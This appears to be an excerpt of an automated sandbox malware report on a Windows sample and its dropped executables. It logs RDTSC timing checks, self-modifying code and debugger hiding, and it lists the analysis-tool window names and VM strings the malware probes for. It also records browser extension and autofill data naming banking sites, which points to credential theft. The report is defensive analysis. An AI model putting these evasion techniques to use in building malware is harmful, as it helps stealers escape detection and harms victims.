Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C95973 second address: C959B8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F78C4C759BDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D2ADCh] 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 mov edi, dword ptr [ebp+122D2968h] 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e mov edi, 3A5D6167h 0x00000023 pop edi 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jp 00007F78C4C759A6h 0x0000002e rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C959B8 second address: C959C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C959C5 second address: C959CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C969EB second address: C969F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C969F1 second address: C969F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C969F7 second address: C96A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75720h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C96A14 second address: C96A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C96A18 second address: C96A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C96A1E second address: C96A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bl, 26h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F78C4C759A8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a jmp 00007F78C4C759B2h 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C96A6E second address: C96A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C96A74 second address: C96A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C97A6C second address: C97AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 mov dword ptr [ebp+122D20B4h], eax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F78C4C75718h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 jng 00007F78C4C7571Bh 0x0000002f mov ebx, 3AF9C49Bh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F78C4C75718h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 clc 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 pushad 0x00000054 jmp 00007F78C4C7571Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C97AE3 second address: C97B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F78C4C759A8h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F78C4C759B0h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C98DCF second address: C98DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C7571Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C98E7F second address: C98E95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9AF2D second address: C9AF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9B48A second address: C9B48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9B48E second address: C9B492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9B492 second address: C9B498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9B498 second address: C9B4AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C7571Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9C460 second address: C9C4CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F78C4C759A8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push edx 0x00000024 mov edi, dword ptr [ebp+122D2910h] 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d add edi, dword ptr [ebp+122D2EE4h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F78C4C759A8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov bx, EA61h 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 pushad 0x00000056 push eax 0x00000057 pop eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9C4CD second address: C9C4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9C4D6 second address: C9C4DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9C4DA second address: C9C4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F78C4C75720h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C84D5A second address: C84D5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8E88C second address: C8E890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8E890 second address: C8E89C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C90A6D second address: C90A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: CA32AD second address: CA32B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C94B52 second address: C94BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, si 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr [ebp+122DB04Eh], esi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F78C4C75718h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b or edi, 2A999812h 0x00000041 mov eax, dword ptr [ebp+122D0659h] 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F78C4C75718h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 mov dword ptr [ebp+122D3042h], eax 0x00000067 mov ebx, dword ptr [ebp+122D2A88h] 0x0000006d push FFFFFFFFh 0x0000006f or ebx, 7A666D54h 0x00000075 nop 0x00000076 pushad 0x00000077 push esi 0x00000078 ja 00007F78C4C75716h 0x0000007e pop esi 0x0000007f push eax 0x00000080 push edx 0x00000081 jbe 00007F78C4C75716h 0x00000087 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C95B45 second address: C95B5B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F78C4C759A8h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C95B5B second address: C95B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C7571Ah 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4BFB8E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4BFB07 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6679A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67D9D8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4BFB31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6F6AD5 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Special instruction interceptor: First address: ACE855 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Special instruction interceptor: First address: C72582 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Special instruction interceptor: First address: D00997 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 81E855 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9C2582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A50997 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Special instruction interceptor: First address: C34C2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Special instruction interceptor: First address: DE9EFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Special instruction interceptor: First address: E1860B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Special instruction interceptor: First address: E7CB7D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsEGIDAAFIEH.exe

Code function: 21_2_053B00C0 rdtsc

21_2_053B00C0

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008388001\c9b8a5fd06.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 3500	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7148	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5784	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6952	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3164	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8436	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6644	Thread sleep count: 97 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6644	Thread sleep time: -2910000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6644	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsEGIDAAFIEH.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C97C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000018.00000002.3470658453.00000000009A6000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2772886640.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2772886640.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3472465973.0000000000D28000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2796450979.0000000023370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2796450979.0000000023370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yD
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2771855873.000000000064A000.00000040.00000001.01000000.00000003.sdmp, DocumentsEGIDAAFIEH.exe, 00000015.00000002.2770365141.0000000000C56000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2802486902.00000000009A6000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3470658453.00000000009A6000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_04CC0512 Start: 04CC0509 End: 04CC04DC

24_2_04CC0512

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsEGIDAAFIEH.exe

